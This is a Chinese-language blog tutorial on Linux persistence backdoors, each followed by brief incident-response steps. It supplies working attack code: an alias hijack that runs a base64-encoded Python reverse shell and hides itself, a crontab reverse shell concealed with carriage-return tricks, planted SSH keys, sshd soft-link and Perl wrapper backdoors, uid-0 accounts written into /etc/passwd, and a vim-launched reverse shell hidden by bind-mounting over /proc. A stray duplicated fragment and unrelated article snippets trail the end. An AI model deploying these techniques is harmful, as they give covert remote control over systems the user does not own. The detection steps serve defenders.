linux后门教程

linux后门教程

在这里插入图片描述

alias

用法

系统默认别名:alias

image-20240713134158295

设置别名alias ls='ls -laih'

image-20240713134247370

删除别名:unalias ls

image-20240713134324983

**加参数:**alias ls=‘ls -laih;pwd’

image-20240713140515561

注意

系统启动默认加载的配置文件

  • /etc/profile

切换用户就会执行/etc/profile

  • /etc/bashrc

bash shell

  • ~/.bashrc

每次打开新的shell时该文件都将被读取

  • ~/.bash_logout

每次退出系统(退出bash shell)时执行该文件

后门

  • 命令
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4yMC4xMjgiLCA2NjY2KSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDApCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAxKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMikKICAgICAgICBwID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsICItaSJdKQogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIGV4aXQoKQ=='\'')))";};alerts'alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts'alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'

base64解码内容

image-20240713142045795

执行ls,反弹shell到kali监听的6666端口

目标机器可以看到连接的信息,需要关闭攻击机的ssh,目标机器才会执行在攻击机上的命令

image-20240713143349428

劫持了命令alias,查看显示ls='ls --color=auto'

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

  • 后门隐藏

找一个有迷惑性的目录,修改成类似文件名

image-20240713150855186

插入到自启程序中~/.bashrc

#enable software update with apt
#See /etc/apt/source.d/ in the apt package.
if [ -f .pki/nss ]; then. .pki/nss
fi

image-20240713152958907

stat直接能看出来,修改后门文件,与同目录文件时间相同

image-20240713151345334

touch -acmr nssdb nss

image-20240713151816668

kali用ssh连接执行ls,

image-20240713152908869

反弹shell的监听反应

image-20240713152949161

应急响应

异常连接netstat -anltp

image-20240713153305233

查看异常pid:ps aux | grep 2019

image-20240713153337866

ppid为1:cat /proc/2019/status

PPID是进程父进程的PID,通常是主要进程

image-20240713153458901

unalias删除后,每次登录都会触发

stat检查时间修改,查找主要进程

找到最近时间修改/etc/profile/etc/bashrc~/.bashrc~/.bash_logout

alias 后门文件删掉即可

crontab

shell文件准备

1.sh

#!/bin/bash
bash -i >& /dev/tcp/192.168.20.128/5555 0>&1
#反弹shell到IP地址:192.168.20.128

2.sh

(crontab -l;printf "* * * * * /home/w_w/1.sh;\rno crontw_wab for `whoami`%100c\n")|crontab -
#建立crontab隐藏后门

可执行chmod +x

image-20240713194512420

执行恶意文件2.sh

image-20240713194628787

kali监听

image-20240713205948785

应急响应

netstat -anlpt

image-20240713210510019

查看异常连接PID,bash进程

image-20240713210608435

看bash的父进程,父进程是1151

image-20240713211540972

ps aux | grep 1151

image-20240713211615795

cat /proc/1151/status

image-20240713211728407

ps aux | grep 1149

image-20240713211750019

image-20240713211838295

/usr/sbin/CROND -n 跟网站定时任务有关

image-20240713211858066

定时任务文件位置:/var/spool/cron

catcrontab -l没看到

使用cat -A 可以显示或vim

  • -A:表示显示所有非打印字符

image-20240713213106862

删掉1.sh即可

ssh公钥免密

CRT生成公钥与私钥

image-20240713220951226

RSA,连接服务器需要设置密码

image-20240713221037025

密钥长度1024

image-20240713221142752

公钥写入

传输到web站点通过wget下载

authorized_keys时通过ssh-keygen -t rsa生成密钥,开启免密登录

创建文件touch /root/.ssh/authorized_keys

将公钥追加到authorized_keys

cat Identity.pub >> /root/.ssh/authorized_keys

赋予执行权限

chmod 600 /root/.ssh/authorized_keys

登录

新建连接,选择Properties,选择公钥文件,连接

image-20240713221221280

应急响应

netstat -anlpt

image-20240713222144393

与负责人沟通确定该IP正常情况不能登录服务器

image-20240713222323817

无异常,正常ssh登录,看authorized_keys是否被覆盖

未知用户公钥

image-20240713222427975

看篡改时间,确定是最近篡改的

image-20240713222451476

删除公钥

kill -9 进程

ssh软链接

创建

root用户

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345 #ssh软链接
systemctl stop firewalld.service #关闭服务器的防火墙,不然连接不上

此处密码随意

image-20240714115555344

普通用户

echo "
#%PAM-1.0
auth sufficient pam_rootok.so
auth include system-auth
account include system-auth
password include system-auth
session include system-auth " >> /etc/pam.d/wxg

ln -sf /usr/sbin/sshd /tmp/普通用户;/tmp/普通用户 -oPort=14725
systemctl stop firewalld.service #关闭服务器的防火墙,不然连接不上

应急响应

image-20240714120122880

image-20240714120211638

查找su文件,找具体软链接后门

image-20240714120604794

删文件杀进程

image-20240714120722558

增加超级用户账号

第一种情况:可以交互且允许uid=0的用户远程登录

echo "xiao:X:0:0::/:/bin/sh" >> /etc/passwd

  • xiao 是用户名。
  • x 表示密码信息存储在 /etc/shadow 中。
  • 0 是用户 ID,表示该用户是系统中的超级用户或 root 用户。
  • 0 是组 ID,表示该用户属于 root 组。
  • :: 表示没有额外的用户 ID 信息。
  • / 是主目录,表示用户登录后默认工作目录为根目录。
  • /bin/sh 是登录 shell,表示用户登录后默认使用 Bourne shell。

image-20240714122002180

image-20240714122119659

第二种情况:可以交互且不允许uid=0的用户远程登录

只能由普通用户权限

echo "ming:x:1000:1000::/:/bin/sh" >> /etc/passwd

image-20240714122255056

image-20240714122344046

第三种情况:不交互无回显添加Linux密码

useradd hhhh -u 0 -o -g root|| echo "123456" | passwd --stdin hhhh

执行两次

  • useradd 是一个用于创建新用户的命令。
  • hhhh 是要创建的用户名。
  • -u 0 指定用户的 UID 为 0,即 root 用户的 UID。
  • -o 允许分配非唯一 UID。
  • -g root 将用户添加到 root 用户组。
  • passwd --stdin wxg 是用来为用户 wxg 设置密码的命令,其中 --stdin 选项表示从标准输入中读取密码。

image-20240714123212124

image-20240714123458016

应急响应

可以查看远程登录者信息

awk '/\$1|\$6/{print $1}' /etc/shadow

查看特权用户

awk -F: '$3==0 {print$1}' /etc/passwd
  • '$3==0' 是 awk 的模式部分,表示匹配第三个字段等于 0 的行。

  • $3 表示第三个字段 ==0 表示等于零

杀掉练级进程pid,删除非法用户 userdel -rf 强制删除

perl脚本SSH后门

SSH后门源码

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..zf/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

让靶机从搭建的web服务去下载

image-20240716132052399

将原来的sshd移动到/usr/bin

下载的ssh移动到/usr/sbin,并赋权

重启ssh服务:systemctl restart sshd.service

检测靶机开放端口

image-20240716132500118

控制机:socat STDIO TCP4:192.168.20.137:22,sourceport=31334

image-20240716135105770

应急响应

与管理员确认异常IP连接

image-20240716135241670

正常sshd文件是ELF格式,后门文件是纯文本脚本,file就可以发现

image-20240716135342042

vim+python文件后门-教程

ubuntu20.04的vim支持python3

image-20240716135616631

反弹shell脚本

import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("192.168.20.128", 6666));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);

让靶机从搭建的web服务去下载

kali开启监听

靶机:vim -E -c "py3file shell.py"

空白说明反弹shell成功

image-20240716140246203

kali

image-20240716140319088

隐藏后门

netstat -anplt直接查到了,还会留空白窗口

命令启动时不显示该窗口

(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &)

#将nohup的执行结果输出到/dev/null中
#其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。
#“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。

隐藏可疑连接

(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &) && sleep 2 && rm -f shell.py

隐藏命令:

mkdir null
mount --bind null /proc/6238
netstat -anpt
#mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。

image-20240716143416490

应急响应

看到有不正常连接,猜测被挂载了

cat /proc/$$/mountinfo

image-20240716143514992

umount /proc/3132取消挂载

image-20240716143746116

kill -9 pid

杀掉进程

SSH Wrapper后门

&) && sleep 2 && rm -f shell.py


**隐藏命令:**

mkdir null
mount --bind null /proc/6238
netstat -anpt
#mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。


[外链图片转存中...(img-M3MftaKZ-1721128228618)]### 应急响应看到有不正常连接,猜测被挂载了`cat /proc/$$/mountinfo`[外链图片转存中...(img-KzeHBYVX-1721128228618)]`umount /proc/3132`取消挂载[外链图片转存中...(img-pNA2fGtG-1721128228618)]kill -9 pid杀掉进程

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/47084.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Python 实验五 高级数据结构

一、实验目的 (1)掌握序列的基本操作 (2)掌握集合、字典的基本操作 二、实验环境 联网计算机一台/每人,内装Windows 7以上操作系统和安装Python 3.7集成开发环境IDLE。 三、实验内容 Sy5-1 列表实现。编写一个…

minIO集成springboot

问题 minIO与spring集成。 步骤 创建桶 创建key 找到创建账号页面,如下图: 点击创建,如下图: 设置如下权限: {"Version": "2012-10-17","Statement": [{"Effect": &q…

Google 地图参考手册

Google 地图参考手册 引言 Google 地图作为全球最受欢迎的地图服务之一,不仅提供了详细的地理信息和导航服务,还整合了丰富的商业信息、用户评价和街景视图。本手册旨在为用户提供一个全面而深入的Google地图使用指南,帮助用户更好地利用这一强大的工具。 目录 Google 地…

codeforces round 948 div2(a,b,c)

题目链接 A #include<bits/stdc.h>using namespace std;#define int long long #define PII pair<int,int>void solve() {int n,m;cin>>n>>m;if(n&1){if((m&1)&&m>1&&m<n)cout<<"YES"<<\n;else…

HDFS和FDFS

HDFS&#xff08;Hadoop Distributed File System&#xff09;和FDFS&#xff08;FastDFS&#xff09;是两种不同的分布式文件系统&#xff0c;它们各自有不同的设计目标和使用场景。以下是对它们的详细介绍&#xff1a; HDFS&#xff08;Hadoop Distributed File System&…

树莓派docker自制镜像

挂载img文件到目录 cd /a/img tar -czvf rr.tar.gz ./ docker import tt.tar.gz rootpi:/home/pi/2# docker tag ff142da9042f arm7:v01 rootpi:/home/pi/2# docker images REPOSITORY TAG IMAGE ID CREATED SIZE arm7 …

python的异常

异常 定义 异常是程序执行中发生的错误事件&#xff0c;它可以打断正常的指令流。Python提供了强大的异常处理机制&#xff0c;允许程序在发生错误时执行某些替代指令&#xff0c;而不是直接崩溃。 类型 TypeError&#xff1a;类型错误&#xff0c;比如尝试将字符串和整数相加。…

vue3 学习笔记13 -- 生命周期和防抖节流

vue3 学习笔记13 – 生命周期和防抖节流 生命周期 创建周期&#xff08;Composition API&#xff09; setup(): 这不是生命周期钩子&#xff0c;但它是组合API的入口点&#xff0c;用于执行任何启动逻辑。 更新周期 onBeforeMount(): 在组件挂载之前调用&#xff0c;此时虚拟…

音视频开发入门教程(1)如何安装FFmpeg?共210节

安装FFmpeg的具体步骤会根据你使用的操作系统而有所不同。以下是Windows和Linux系统上安装FFmpeg的基本步骤&#xff1a; Windows系统 下载FFmpeg安装包&#xff1a; 访问FFmpeg的官方网站&#xff1a;FFmpeg。点击页面上方的“Download”按钮。在下载页面&#xff0c;找到适…

Jenkins安装nodeJs环境

首先插件市场安装nodeJS插件&#xff0c;我这里已经安装了&#xff0c;没安装的话在 Available plugins 中搜索安装 安装完成后需要下载需要的nodejs版本 新增完成就可以在构建的时候选择当前版本号了

从基础知识到应用实例,一站式掌握 Python 正则表达式

前言 大家好&#xff0c;我是阔升。今天&#xff0c;我要和大家聊聊 Python 中的正则表达式。正则表达式可谓是编程界的“瑞士军刀”&#xff0c;能用来处理各种复杂的字符串操作。本文将通过几个有趣的例子&#xff0c;带你学习正则表达式。 正则表达式基础 在 Python 中&a…

JMeter接口测试之文件上传(参数提取与传递)

参考文档&#xff1a; Jmeter接口测试-文件上传&#xff08;全网最详细的教程&#xff09;_jmeter 文件上传-CSDN博客 1、首先通过fiddler抓取文件上传接口&#xff0c;在Raw的tab页中查看默认请求头以及请求参数 如图所示 2、在jmeter中导入抓取的接口&#xff0c;首先需要配…

新书速览|深入理解Hive:从基础到高阶:视频教学版

《深入理解Hive&#xff1a;从基础到高阶&#xff1a;视频教学版》 本书内容 《深入理解Hive:从基础到高阶:视频教学版》采用“理论实战”的形式编写&#xff0c;通过大量的实例&#xff0c;结合作者多年一线开发实战经验&#xff0c;全面地介绍Hive的使用方法。《深入理解Hiv…

AI算法18-最小角回归算法Least Angle Regression | LARS

​​​ 最小角回归算法简介 最小角回归&#xff08;Least Angle Regression, LAR&#xff09;是一种用于回归分析的统计方法&#xff0c;它在某些方面类似于最小二乘回归&#xff0c;但提供了一些额外的优点。最小角回归由Bradley Efron等人提出&#xff0c;主要用于处理具有…

【Linux】安装PHP扩展-redis

说明 本文档是在centos7.6的环境下&#xff0c;安装PHP7.4之后&#xff0c;安装对应的PHP扩展包redis。 一、下载redis扩展 pecl官方地址:PECL :: The PHP Extension Community Library 下载的版本是&#xff1a;redis-5.3.7.tgz 二、安装redis扩展 1.上传 redis 压缩包到…

基于STM32设计的物联网智能鱼缸(微信小程序)(187)

基于STM32设计的物联网智能鱼缸(微信小程序)(187) 文章目录 一、前言1.1 项目介绍【1】项目功能介绍【2】设计需求总结【3】项目硬件模块组成1.2 设计思路【1】整体设计思路【2】ESP8266工作模式配置1.3 项目开发背景【1】选题的意义【2】可行性分析【3】参考文献1.4 开发工具的…

Amazon Bedrock 常用场景及 Python 实现

Amazon Bedrock 是 AWS 提供的一项全托管服务,它为开发者提供了一系列高性能的基础模型(Foundation Models,FMs)。通过单一 API,开发者可以访问来自 AI21 Labs、Anthropic、Cohere、Meta、Stability AI 和 Amazon 等领先 AI 公司的模型。本文将介绍 Amazon Bedrock 的几个…

深入异步JavaScript:掌握Promises与async/await

引言 异步编程允许JavaScript代码在等待某些耗时操作&#xff08;如网络请求、文件读写等&#xff09;完成时&#xff0c;继续执行其他任务&#xff0c;而不是阻塞整个程序的运行。这种编程模式极大地提高了应用的响应速度和效率。 JavaScript中的异步编程基础 同步与异步代…

【嵌入式DIY实例-ESP8266篇】-LCD ST7789显示DS1307 RTC时间数据

LCD ST7789显示DS1307 RTC时间数据 文章目录 LCD ST7789显示DS1307 RTC时间数据1、硬件准备与接线2、代码实现本文将介绍如何使用 ESP8266 NodeMCU 板和 DS1307 RTC 集成电路构建简单的实时时钟和日历 (RTCC),其中时间和日期打印在 ST7789 TFT 显示模块上。 ST7789 TFT 模块包…

MySQL面试题-重难点

mysql中有哪些锁&#xff1f;举出所有例子&#xff0c;各个锁的作用是什么&#xff1f;区别是什么&#xff1f; 共享锁&#xff1a;也叫读锁&#xff0c;简称S锁&#xff0c;在事务要读取一条记录时&#xff0c;先获取该记录的S锁&#xff0c;别的事务也可以继续获取该记录的S…